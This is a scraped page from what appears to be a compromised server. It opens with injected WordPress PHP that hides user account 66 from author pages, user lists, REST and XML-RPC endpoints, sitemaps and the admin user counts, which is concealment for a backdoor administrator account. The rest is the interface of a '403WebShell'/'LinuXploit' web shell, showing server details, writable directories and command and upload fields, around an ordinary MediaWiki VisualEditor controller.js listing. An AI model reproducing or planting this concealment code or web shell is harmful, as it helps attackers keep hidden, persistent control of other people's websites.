add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/VisualEditor/editcheck/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/VisualEditor/editcheck/modules/controller.js
'use strict';

function Controller( target ) {
	// Mixin constructors
	OO.EventEmitter.call( this );

	this.actionsByListener = {};

	this.target = target;

	this.surface = null;
	this.listener = 'onDocumentChange';

	this.$highlights = $( '<div>' );

	this.dismissedFragments = {};
	this.dismissedIds = {};

	this.onDocumentChangeDebounced = ve.debounce( this.onDocumentChange.bind( this ), 100 );
	this.onPositionDebounced = ve.debounce( this.onPosition.bind( this ), 100 );
	this.onSelectDebounced = ve.debounce( this.onSelect.bind( this ), 100 );
	this.onContextChangeDebounced = ve.debounce( this.onContextChange.bind( this ), 100 );

	// Don't run a scroll if the previous animation is still running (which is jQuery 'fast' === 200ms)
	this.scrollActionIntoViewDebounced = ve.debounce( this.scrollActionIntoView.bind( this ), 200, true );
}

OO.mixinClass( Controller, OO.EventEmitter );

Controller.prototype.setup = function () {
	const target = this.target;
	target.on( 'surfaceReady', () => {
		this.surface = target.getSurface();

		if ( this.surface.getMode() !== 'visual' ) {
			// Some checks will entirely work in source mode for most cases.
			// But others will fail spectacularly -- e.g. reference check
			// isn't aware of <ref> tags and so will suggest that all content
			// has references added. As such, disable in source mode for now.
			return;
		}
		if ( !this.editChecksArePossible() ) {
			return;
		}
		// ideally this would happen slightly earlier:
		document.documentElement.classList.add( 've-editcheck-available' );

		this.surface.getView().on( 'position', this.onPositionDebounced );
		this.surface.getModel().on( 'undoStackChange', this.onDocumentChangeDebounced );
		this.surface.getModel().on( 'select', this.onSelectDebounced );
		this.surface.getModel().on( 'contextChange', this.onContextChangeDebounced );

		this.on( 'actionsUpdated', this.onActionsUpdated, null, this );

		// Run on load (e.g. recovering from auto-save)
		setTimeout( () => this.onDocumentChange(), 100 );

		this.surface.on( 'destroy', () => {
			this.off( 'actionsUpdated' );
			this.$highlights.empty();

			this.surface = null;
			this.actionsByListener = {};

			this.dismissedFragments = {};
			this.dismissedIds = {};

			mw.editcheck.refCheckShown = false;
		} );
	}, null, this );

	target.on( 'teardown', () => {
		document.documentElement.classList.remove( 've-editcheck-available' );
	}, null, this );

	this.setupPreSaveProcess();
};

Controller.prototype.editChecksArePossible = function () {
	return [ 'onBeforeSave', 'onDocumentChange' ].some(
		( listener ) => mw.editcheck.editCheckFactory.getNamesByListener( listener ).some(
			( checkName ) => {
				const check = mw.editcheck.editCheckFactory.create( checkName, this, mw.editcheck.config[ checkName ] );
				return check.canBeShown();
			}
		)
	);
};

Controller.prototype.updatePositions = function () {
	this.drawSelections();
	this.drawGutter();

	this.emit( 'position' );
};

Controller.prototype.refresh = function () {
	if ( this.target.deactivating || !this.target.active ) {
		return;
	}
	if ( this.listener === 'onBeforeSave' ) {
		// These shouldn't be recalculated
		this.emit( 'actionsUpdated', this.listener, this.getActions( this.listener ), [], [], false );
	} else {
		this.updateForListener( this.listener, true );
	}
};

Controller.prototype.updateForListener = function ( listener, always ) {
	listener = listener || this.listener;
	const existing = this.actionsByListener[ listener ] || [];
	const actions = mw.editcheck.editCheckFactory.createAllByListener( this, listener, this.surface.getModel() )
		.map( ( action ) => existing.find( ( oldAction ) => oldAction.equals( action ) ) || action );

	this.actionsByListener[ listener ] = actions;

	const newActions = actions.filter( ( action ) => existing.every( ( oldAction ) => !action.equals( oldAction ) ) );
	const discardedActions = existing.filter( ( action ) => actions.every( ( newAction ) => !action.equals( newAction ) ) );
	if ( always || actions.length !== existing.length || newActions.length || discardedActions.length ) {
		this.emit( 'actionsUpdated', listener, actions, newActions, discardedActions, false );
	}
	return actions;
};

Controller.prototype.removeAction = function ( listener, action, rejected ) {
	const actions = this.getActions( listener );
	const index = actions.indexOf( action );
	if ( index === -1 ) {
		return;
	}
	const removed = actions.splice( index, 1 );

	if ( action === this.focused ) {
		this.focused = undefined;
	}

	this.emit( 'actionsUpdated', listener, actions, [], removed, rejected );
};

Controller.prototype.focusAction = function ( action, scrollTo ) {
	if ( !scrollTo && action === this.focused ) {
		// Don't emit unnecessary events if there is no change or scroll
		return;
	}

	this.focused = action;

	this.emit( 'focusAction', action, this.getActions().indexOf( action ), scrollTo );

	this.updatePositions();
};

Controller.prototype.getActions = function ( listener ) {
	return this.actionsByListener[ listener || this.listener ] || [];
};

Controller.prototype.onSelect = function ( selection ) {
	if ( !this.surface ) {
		// This is debounced, and could potentially be called after teardown
		return;
	}
	if ( this.surface.getView().reviewMode ) {
		// In review mode the selection and display of checks is being managed by the dialog
		return;
	}
	if ( OO.ui.isMobile() ) {
		// On mobile we want to close the drawer if the keyboard is shown
		if ( this.surface.getView().hasNativeCursorSelection() ) {
			// A native cursor selection means the keyboard will be visible
			this.closeDialog( 'mobile-keyboard' );
		}
	}
	if ( this.getActions().length === 0 || selection.isNull() ) {
		// Nothing to do
		return;
	}
	const actions = this.getActions().filter(
		( check ) => check.getHighlightSelections().some(
			( highlight ) => highlight.getCoveringRange().containsRange( selection.getCoveringRange() ) ) );

	this.focusAction( actions[ 0 ] || null, false );
};

Controller.prototype.onContextChange = function () {
	if ( !this.surface ) {
		// This is debounced, and could potentially be called after teardown
		return;
	}
	if ( OO.ui.isMobile() && this.surface.getContext().isVisible() ) {
		// The context overlaps the drawer on mobile, so we should get rid of the drawer
		this.closeDialog( 'context' );
	}
};

Controller.prototype.onPosition = function () {
	if ( !this.surface ) {
		// This is debounced, and could potentially be called after teardown
		return;
	}

	this.updatePositions();

	if ( this.getActions().length && this.focused && this.surface.getView().reviewMode ) {
		this.scrollActionIntoViewDebounced( this.focused );
	}
};

Controller.prototype.onDocumentChange = function () {
	if ( !this.surface ) {
		// This is debounced, and could potentially be called after teardown
		return;
	}
	if ( this.listener !== 'onBeforeSave' ) {
		this.updateForListener( 'onDocumentChange' );
	}

	this.updatePositions();
};

Controller.prototype.onActionsUpdated = function ( listener, actions, newActions, discardedActions ) {
	// do we need to redraw anything?
	if ( newActions.length || discardedActions.length ) {
		if ( this.focused && discardedActions.includes( this.focused ) ) {
			this.focused = undefined;
		}
		this.updatePositions();
	}

	// do we need to show mid-edit actions?
	if ( listener !== 'onDocumentChange' ) {
		return;
	}
	if ( !actions.length ) {
		return;
	}
	const windowName = OO.ui.isMobile() ? 'gutterSidebarEditCheckDialog' : 'sidebarEditCheckDialog';
	let shownPromise;
	const currentWindow = this.surface.getSidebarDialogs().getCurrentWindow();
	if ( !currentWindow || currentWindow.constructor.static.name !== windowName ) {
		this.target.$element.addClass( 've-ui-editCheck-sidebar-active' );
		const windowAction = ve.ui.actionFactory.create( 'window', this.surface, 'check' );
		shownPromise = windowAction.open(
			windowName,
			{ listener: listener, actions: actions, controller: this }
		).then( ( instance ) => {
			ve.track( 'activity.editCheckDialog', { action: 'window-open-from-check-midedit' } );
			instance.closed.then( () => {
				this.target.$element.removeClass( 've-ui-editCheck-sidebar-active' );
			} );
		} );
	} else {
		shownPromise = ve.createDeferred().resolve().promise();
	}
	shownPromise.then( () => {
		newActions.forEach( ( action ) => {
			ve.track( 'activity.editCheck-' + action.getName(), { action: 'check-shown-midedit' } );
		} );
	} );
};

Controller.prototype.setupPreSaveProcess = function () {
	const target = this.target;
	const preSaveProcess = target.getPreSaveProcess();
	preSaveProcess.next( () => {
		const surface = target.getSurface();
		if ( surface.getMode() !== 'visual' ) {
			return;
		}
		ve.track( 'counter.editcheck.preSaveChecksAvailable' );

		const oldFocused = this.focused;
		this.listener = 'onBeforeSave';
		const actions = this.updateForListener( 'onBeforeSave' );
		if ( actions.length ) {
			ve.track( 'counter.editcheck.preSaveChecksShown' );
			mw.editcheck.refCheckShown = mw.editcheck.refCheckShown ||
				actions.some( ( action ) => action.getName() === 'addReference' );

			this.setupToolbar( target );

			let $contextContainer, contextPadding;
			if ( surface.context.popup ) {
				contextPadding = surface.context.popup.containerPadding;
				$contextContainer = surface.context.popup.$container;
				surface.context.popup.$container = surface.$element;
				surface.context.popup.containerPadding = 20;
			}

			return this.closeSidebars( 'preSaveProcess' ).then( () => this.closeDialog( 'preSaveProcess' ).then( () => {
				this.originalToolbar.toggle( false );
				target.onContainerScroll();
				const windowAction = ve.ui.actionFactory.create( 'window', surface, 'check' );
				return windowAction.open( 'fixedEditCheckDialog', { listener: 'onBeforeSave', actions: actions, controller: this } )
					.then( ( instance ) => {
						ve.track( 'activity.editCheckDialog', { action: 'window-open-from-check-presave' } );
						actions.forEach( ( action ) => {
							ve.track( 'activity.editCheck-' + action.getName(), { action: 'check-shown-presave' } );
						} );
						instance.closed.then( () => {}, () => {} ).then( () => {
							surface.getView().setReviewMode( false );
							this.listener = 'onDocumentChange';
							this.focused = oldFocused;
							// Re-open the mid-edit sidebar if necessary.
							this.refresh();
						} );
						return instance.closing.then( ( data ) => {
							if ( target.deactivating || !target.active ) {
								// Someone clicking "read" to leave the article
								// will trigger the closing of this; in that
								// case, just abandon what we're doing
								return ve.createDeferred().reject().promise();
							}
							this.restoreToolbar( target );

							if ( $contextContainer ) {
								surface.context.popup.$container = $contextContainer;
								surface.context.popup.containerPadding = contextPadding;
							}

							target.onContainerScroll();

							if ( data ) {
								const delay = ve.createDeferred();
								// If they inserted, wait 2 seconds on desktop
								// before showing save dialog to give user time
								// to see success notification.
								setTimeout( () => {
									ve.track( 'counter.editcheck.preSaveChecksCompleted' );
									delay.resolve();
								}, !OO.ui.isMobile() && data.action !== 'reject' ? 2000 : 0 );
								return delay.promise();
							} else {
								// closed via "back" or otherwise
								ve.track( 'counter.editcheck.preSaveChecksAbandoned' );
								return ve.createDeferred().reject().promise();
							}
						} );
					} );
			} ) );
		} else {
			this.listener = 'onDocumentChange';
			// Counterpart to earlier preSaveChecksShown, for use in tracking
			// errors in check-generation:
			ve.track( 'counter.editcheck.preSaveChecksNotShown' );
		}
	} );
};

Controller.prototype.setupToolbar = function ( target ) {
	const surface = target.getSurface();
	const toolbar = target.getToolbar();
	const reviewToolbar = new ve.ui.PositionedTargetToolbar( target, target.toolbarConfig );
	reviewToolbar.setup( [
		{
			name: 'back',
			type: 'bar',
			include: [ 'editCheckBack' ]
		},
		// Placeholder toolbar groups
		// TODO: Make a proper TitleTool?
		{
			name: 'title',
			type: 'bar',
			include: []
		},
		{
			name: 'save',
			// TODO: MobileArticleTarget should ignore 'align'
			align: OO.ui.isMobile() ? 'before' : 'after',
			type: 'bar',
			include: [ 'showSaveDisabled' ]
		}
	], surface );
	reviewToolbar.$element.addClass( 've-ui-editCheck-toolbar' );

	reviewToolbar.items[ 1 ].$element.removeClass( 'oo-ui-toolGroup-empty' );
	reviewToolbar.items[ 1 ].$group.append(
		$( '<span>' ).addClass( 've-ui-editCheck-toolbar-title' ).text( ve.msg( 'editcheck-dialog-title' ) )
	);
	if ( OO.ui.isMobile() ) {
		reviewToolbar.$element.addClass( 've-init-mw-mobileArticleTarget-toolbar' );
	}
	target.toolbar.$element.before( reviewToolbar.$element );
	target.toolbar = reviewToolbar;

	reviewToolbar.initialize();

	this.originalToolbar = toolbar;
	this.reviewToolbar = reviewToolbar;
};

Controller.prototype.restoreToolbar = function ( target ) {
	if ( !this.reviewToolbar ) {
		return;
	}
	this.reviewToolbar.$element.remove();
	this.originalToolbar.toggle( true );
	target.toolbar = this.originalToolbar;

	// Creating a new PositionedTargetToolbar stole the
	// toolbar windowmanagers, so we need to make the
	// original toolbar reclaims them:
	target.setupToolbar( target.getSurface() );
	// If the window was resized while the originalToolbar was hidden then
	// the cached measurements will be wrong. Recalculate.
	this.originalToolbar.onWindowResize();

	this.reviewToolbar = null;
	this.originalToolbar = null;
};

Controller.prototype.drawSelections = function () {
	const surfaceView = this.surface.getView();
	if ( this.focused ) {
		// The currently-focused check gets a selection:
		// TODO: clicking the selection should activate the sidebar-action
		surfaceView.getSelectionManager().drawSelections(
			'editCheckWarning',
			this.focused.getHighlightSelections().map(
				( selection ) => ve.ce.Selection.static.newFromModel( selection, surfaceView )
			)
		);
	} else {
		surfaceView.getSelectionManager().drawSelections( 'editCheckWarning', [] );
	}

	if ( this.listener === 'onBeforeSave' ) {
		// Review mode grays out everything that's not highlighted:
		const highlightNodes = [];
		this.getActions().forEach( ( action ) => {
			action.getHighlightSelections().forEach( ( selection ) => {
				highlightNodes.push.apply( highlightNodes, surfaceView.getDocument().selectNodes( selection.getCoveringRange(), 'branches' ).map( ( spec ) => spec.node ) );
			} );
		} );
		surfaceView.setReviewMode( true, highlightNodes );
	}
};

Controller.prototype.drawGutter = function () {
	if ( OO.ui.isMobile() ) {
		return;
	}
	this.$highlights.empty();
	const actions = this.getActions();
	if ( actions.length === 0 ) {
		return;
	}
	const surfaceView = this.surface.getView();

	actions.forEach( ( action ) => {
		action.top = Infinity;
		action.getHighlightSelections().forEach( ( selection ) => {
			const selectionView = ve.ce.Selection.static.newFromModel( selection, surfaceView );
			const rect = selectionView.getSelectionBoundingRect();
			if ( !rect ) {
				return;
			}
			// The following classes are used here:
			// * ve-ui-editCheck-gutter-highlight-error
			// * ve-ui-editCheck-gutter-highlight-warning
			// * ve-ui-editCheck-gutter-highlight-notice
			// * ve-ui-editCheck-gutter-highlight-success
			// * ve-ui-editCheck-gutter-highlight-active
			// * ve-ui-editCheck-gutter-highlight-inactive
			this.$highlights.append( $( '<div>' )
				.addClass( 've-ui-editCheck-gutter-highlight' )
				.addClass( 've-ui-editCheck-gutter-highlight-' + action.getType() )
				.addClass( 've-ui-editCheck-gutter-highlight-' + ( action === this.focused ? 'active' : 'inactive' ) )
				.css( {
					top: rect.top - 2,
					height: rect.height + 4
				} )
				.on( 'click', () => this.focusAction( action ) )
			);
			action.top = Math.min( action.top, rect.top );
		} );
	} );

	surfaceView.appendHighlights( this.$highlights, false );
};

Controller.prototype.scrollActionIntoView = function ( action ) {
	// scrollSelectionIntoView scrolls to the focus of a selection, but we
	// want the very beginning to be in view, so collapse it:
	const selection = action.getHighlightSelections()[ 0 ].collapseToStart();
	const padding = {
		top: OO.ui.isMobile() ? 80 : action.widget.$element[ 0 ].getBoundingClientRect().top,
		bottom: 20
	};
	if ( ve.ui.FixedEditCheckDialog.static.position === 'below' ) {
		// TODO: ui.surface getPadding should really be fixed for this
		const currentWindow = this.surface.getToolbarDialogs( ve.ui.FixedEditCheckDialog.static.position ).getCurrentWindow();
		if ( currentWindow ) {
			padding.bottom += currentWindow.getContentHeight();
		}
	}
	this.surface.scrollSelectionIntoView( selection, {
		animate: true,
		padding: padding,
		alignToTop: true
	} );
};

Controller.prototype.closeDialog = function ( action ) {
	this.focusAction( undefined );
	const windowAction = ve.ui.actionFactory.create( 'window', this.surface, 'check' );
	return windowAction.close( 'fixedEditCheckDialog', action ? { action: action } : undefined ).closed.then( () => {}, () => {} );
};

Controller.prototype.closeSidebars = function ( action ) {
	const currentWindow = this.surface.getSidebarDialogs().getCurrentWindow();
	if ( currentWindow ) {
		// .always is not chainable
		return currentWindow.close( action ? { action: action } : undefined ).closed.then( () => {}, () => {} );
	}
	return ve.createDeferred().resolve().promise();
};

module.exports = {
	Controller: Controller
};

Youez - 2016 - github.com/yon3zu
LinuXploit